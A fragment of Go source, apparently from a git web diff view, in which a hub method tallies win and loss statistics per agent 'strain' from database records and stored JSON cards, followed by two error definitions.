||||
}
|
||||
|
||||
func (h *WSHub) collectStrainSpreadStats() map[string]strategy.StrainSpreadStats {
|
||||
out := make(map[string]strategy.StrainSpreadStats)
|
||||
if h == nil || h.db == nil {
|
||||
return out
|
||||
}
|
||||
agents, err := h.db.ListAgents()
|
||||
if err != nil {
|
||||
return out
|
||||
}
|
||||
joinLanes := h.agentJoinLanesSnapshot()
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
strain := strategy.NormalizeStrainID(ag.SpreadStrain)
|
||||
if strain == "" {
|
||||
lane := joinLanes[ag.ID]
|
||||
if lane == "" {
|
||||
lane = ag.JoinLane
|
||||
}
|
||||
strain = strategy.StrainFromSpreadLane(lane)
|
||||
}
|
||||
if strain == "" {
|
||||
continue
|
||||
}
|
||||
entry := out[strain]
|
||||
entry.StrainID = strain
|
||||
if ag.ParentAgentID != "" {
|
||||
if ag.Status == "online" && (ag.JoinLane != "" || joinLanes[ag.ID] != "") {
|
||||
entry.Wins++
|
||||
} else if ag.Status == "error" || ag.Status == "offline" {
|
||||
entry.Losses++
|
||||
}
|
||||
}
|
||||
out[strain] = entry
|
||||
}
|
||||
cards, _ := h.db.ListStrainCards(200)
|
||||
for _, c := range cards {
|
||||
strain := strategy.NormalizeStrainID(c.SpreadStrain)
|
||||
if strain == "" {
|
||||
continue
|
||||
}
|
||||
entry := out[strain]
|
||||
entry.StrainID = strain
|
||||
var card map[string]interface{}
|
||||
if json.Unmarshal([]byte(c.CardJSON), &card) == nil {
|
||||
if wins, ok := card["wins"].([]interface{}); ok {
|
||||
entry.Wins += len(wins)
|
||||
}
|
||||
if losses, ok := card["losses"].([]interface{}); ok {
|
||||
entry.Losses += len(losses)
|
||||
}
|
||||
}
|
||||
out[strain] = entry
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
var (
|
||||
errHubUnavailable = &strainCardError{"hub unavailable"}
|
||||
errStrainRequired = &strainCardError{"strain_id is required"}
|
||||
)
|
||||
Reference in New Issue
Block a user